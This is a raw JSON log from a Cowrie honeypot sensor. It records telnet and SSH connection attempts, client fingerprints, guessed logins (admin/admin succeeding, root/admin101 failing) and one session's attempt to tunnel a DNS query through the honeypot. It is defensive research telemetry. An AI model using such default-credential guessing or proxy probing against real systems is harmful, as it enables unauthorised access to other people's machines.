{"eventid":"cowrie.session.closed","duration":48.986576080322266,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:28.262674Z","src_ip":"165.232.131.181","session":"3227dece3b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.971183776855469,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.082330Z","src_ip":"38.54.119.93","session":"fea2898b3754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47042,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c045c0a028","protocol":"ssh","message":"New connection: 87.251.64.176:47042 (10.17.0.5:22) [session: 44c045c0a028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.377617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.382195Z","src_ip":"87.251.64.176","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.479875Z","src_ip":"87.251.64.176","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.16612386703491,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.540622Z","src_ip":"62.210.97.77","session":"2a3597b28964","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.768597Z","src_ip":"87.251.64.176","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.868403Z","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:29.965822Z","src_ip":"87.251.64.176","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:30.067879Z","src_ip":"87.251.64.176","session":"44c045c0a028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.04173517227173,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:30.182760Z","src_ip":"165.232.131.181","session":"c7edccd146fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44008,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9c6332b376","protocol":"telnet","message":"New connection: 62.210.97.77:44008 (10.17.0.5:23) [session: db9c6332b376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:30.685267Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44582,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a4ed5e238d","protocol":"telnet","message":"New connection: 65.60.27.33:44582 (10.17.0.5:23) [session: e4a4ed5e238d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:32.172051Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44018,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd97d4b0cfe","protocol":"telnet","message":"New connection: 62.210.97.77:44018 (10.17.0.5:23) [session: 8dd97d4b0cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:33.043598Z"}
{"eventid":"cowrie.session.closed","duration":35.13846135139465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:33.793658Z","src_ip":"62.210.97.77","session":"d67442df5a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34062,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2679316fc18","protocol":"telnet","message":"New connection: 165.232.131.181:34062 (10.17.0.5:23) [session: e2679316fc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:36.276525Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34430,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4613faa36cf","protocol":"telnet","message":"New connection: 165.232.131.181:34430 (10.17.0.5:23) [session: a4613faa36cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:36.310244Z"}
{"eventid":"cowrie.session.closed","duration":35.47682237625122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:37.797205Z","src_ip":"62.210.97.77","session":"a1c2250ff325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.247882604599,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:40.157567Z","src_ip":"62.210.97.77","session":"0e32e7230621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59552,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2c176a91cd","protocol":"telnet","message":"New connection: 62.210.97.77:59552 (10.17.0.5:23) [session: db2c176a91cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:40.461711Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5766b197746","protocol":"telnet","message":"New connection: 62.210.97.77:59568 (10.17.0.5:23) [session: b5766b197746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:40.947674Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"4593497503ca","protocol":"telnet","message":"New connection: 65.60.27.33:55252 (10.17.0.5:23) [session: 4593497503ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:41.763450Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e302a8dcdf60","protocol":"telnet","message":"New connection: 38.54.119.93:43688 (10.17.0.5:23) [session: e302a8dcdf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:45.384126Z"}
{"eventid":"cowrie.session.closed","duration":35.78254795074463,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:45.889382Z","src_ip":"62.210.97.77","session":"f5e38c0699de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34994,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f597319c2b","protocol":"telnet","message":"New connection: 65.60.27.33:34994 (10.17.0.5:23) [session: 65f597319c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:48.449456Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2c92997df4","protocol":"telnet","message":"New connection: 62.210.97.77:49430 (10.17.0.5:23) [session: 2f2c92997df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:48.530245Z"}
{"eventid":"cowrie.session.closed","duration":35.76216173171997,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:49.472370Z","src_ip":"62.210.97.77","session":"aea392f2fe07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36672,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3d4291f721","protocol":"telnet","message":"New connection: 65.60.27.33:36672 (10.17.0.5:23) [session: aa3d4291f721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:50.086176Z"}
{"eventid":"cowrie.session.closed","duration":32.98832845687866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:50.112679Z","src_ip":"62.210.97.77","session":"6a38d93b3024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.5959792137146,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:50.979983Z","src_ip":"38.54.119.93","session":"e302a8dcdf60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"363f5c3f9a34","protocol":"telnet","message":"New connection: 62.210.97.77:49432 (10.17.0.5:23) [session: 363f5c3f9a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:51.580660Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40198,"dst_ip":"10.17.0.5","dst_port":23,"session":"db73e3624c0e","protocol":"telnet","message":"New connection: 165.232.131.181:40198 (10.17.0.5:23) [session: db73e3624c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:51.993285Z"}
{"eventid":"cowrie.session.closed","duration":34.601271629333496,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:53.686585Z","src_ip":"62.210.97.77","session":"10306eb30539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.868281602859497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:54.650702Z","src_ip":"62.210.97.77","session":"db5b9ef23be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.0347580909729,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:55.105954Z","src_ip":"165.232.131.181","session":"1b8013e52eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29391884803772,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:56.550538Z","src_ip":"62.210.97.77","session":"0eae43ec9717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6f871d1a4a","protocol":"telnet","message":"New connection: 38.54.119.93:51176 (10.17.0.5:23) [session: 9e6f871d1a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:56.732438Z"}
{"eventid":"cowrie.session.closed","duration":39.4677939414978,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:57.368335Z","src_ip":"65.60.27.33","session":"5e846fbba902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10ca112222a","protocol":"telnet","message":"New connection: 62.210.97.77:43816 (10.17.0.5:23) [session: e10ca112222a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:58.592909Z"}
{"eventid":"cowrie.session.closed","duration":40.104787826538086,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:58.719189Z","src_ip":"65.60.27.33","session":"e2767bc3f94e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06170129776001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:00.650591Z","src_ip":"62.210.97.77","session":"b32f1ad80591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c0dca8f8611","protocol":"telnet","message":"New connection: 62.210.97.77:43824 (10.17.0.5:23) [session: 2c0dca8f8611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:01.750676Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43936,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54733ad9fb0","protocol":"telnet","message":"New connection: 165.232.131.181:43936 (10.17.0.5:23) [session: d54733ad9fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:02.016626Z"}
{"eventid":"cowrie.session.closed","duration":39.87070178985596,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:02.123346Z","src_ip":"62.210.97.77","session":"01c5d7e887fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.632920980453491,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:03.365243Z","src_ip":"38.54.119.93","session":"9e6f871d1a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"529a611d9469","protocol":"telnet","message":"New connection: 62.210.97.77:43838 (10.17.0.5:23) [session: 529a611d9469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:04.603613Z"}
{"eventid":"cowrie.session.closed","duration":44.96391463279724,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:05.051078Z","src_ip":"165.232.131.181","session":"8ab5a11f2580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08905482292175,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:05.680949Z","src_ip":"65.60.27.33","session":"bb9057bfdcb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"048dad229372","protocol":"telnet","message":"New connection: 65.60.27.33:52986 (10.17.0.5:23) [session: 048dad229372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:05.724756Z"}
{"eventid":"cowrie.session.closed","duration":35.369630336761475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:06.054785Z","src_ip":"62.210.97.77","session":"db9c6332b376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03435468673706,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:06.077882Z","src_ip":"62.210.97.77","session":"8dd97d4b0cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66538214683533,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:06.837337Z","src_ip":"65.60.27.33","session":"e4a4ed5e238d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43854,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9469cee324","protocol":"telnet","message":"New connection: 62.210.97.77:43854 (10.17.0.5:23) [session: df9469cee324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:08.335206Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43870,"dst_ip":"10.17.0.5","dst_port":23,"session":"813dea0867fd","protocol":"telnet","message":"New connection: 62.210.97.77:43870 (10.17.0.5:23) [session: 813dea0867fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:08.344981Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":45632,"dst_ip":"10.17.0.5","dst_port":22,"session":"41365eda2492","protocol":"ssh","message":"New connection: 187.16.96.250:45632 (10.17.0.5:22) [session: 41365eda2492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:08.755894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:08.759323Z","src_ip":"187.16.96.250","session":"41365eda2492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:08.875573Z","src_ip":"187.16.96.250","session":"41365eda2492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin101","message":"login attempt [root/admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:09.372222Z","src_ip":"187.16.96.250","session":"41365eda2492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.884682416915894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:09.794075Z","src_ip":"165.232.131.181","session":"6d59ca9e634d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:10.490830Z","src_ip":"187.16.96.250","session":"41365eda2492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47556,"dst_ip":"10.17.0.5","dst_port":23,"session":"500dd10de234","protocol":"telnet","message":"New connection: 165.232.131.181:47556 (10.17.0.5:23) [session: 500dd10de234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:11.478630Z"}
{"eventid":"cowrie.session.closed","duration":45.329904317855835,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:12.020800Z","src_ip":"165.232.131.181","session":"0d55817c8825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48042,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a636a6f8c8f","protocol":"telnet","message":"New connection: 165.232.131.181:48042 (10.17.0.5:23) [session: 0a636a6f8c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:13.734858Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be5f3e709ae","protocol":"telnet","message":"New connection: 65.60.27.33:34316 (10.17.0.5:23) [session: 1be5f3e709ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:13.811599Z"}
{"eventid":"cowrie.session.closed","duration":36.45957851409912,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:16.921178Z","src_ip":"62.210.97.77","session":"db2c176a91cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02568030357361,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:17.335828Z","src_ip":"165.232.131.181","session":"a4613faa36cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.300350189208984,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:18.035074Z","src_ip":"165.232.131.181","session":"0a636a6f8c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55972,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bed66cb1059","protocol":"telnet","message":"New connection: 62.210.97.77:55972 (10.17.0.5:23) [session: 9bed66cb1059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:18.288413Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40518,"dst_ip":"10.17.0.5","dst_port":23,"session":"74c63d56a9fb","protocol":"telnet","message":"New connection: 65.60.27.33:40518 (10.17.0.5:23) [session: 74c63d56a9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:18.622560Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50068,"dst_ip":"10.17.0.5","dst_port":23,"session":"275c88f11a4c","protocol":"telnet","message":"New connection: 165.232.131.181:50068 (10.17.0.5:23) [session: 275c88f11a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:18.698279Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42242,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b768c3454a","protocol":"telnet","message":"New connection: 65.60.27.33:42242 (10.17.0.5:23) [session: a6b768c3454a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:20.376135Z"}
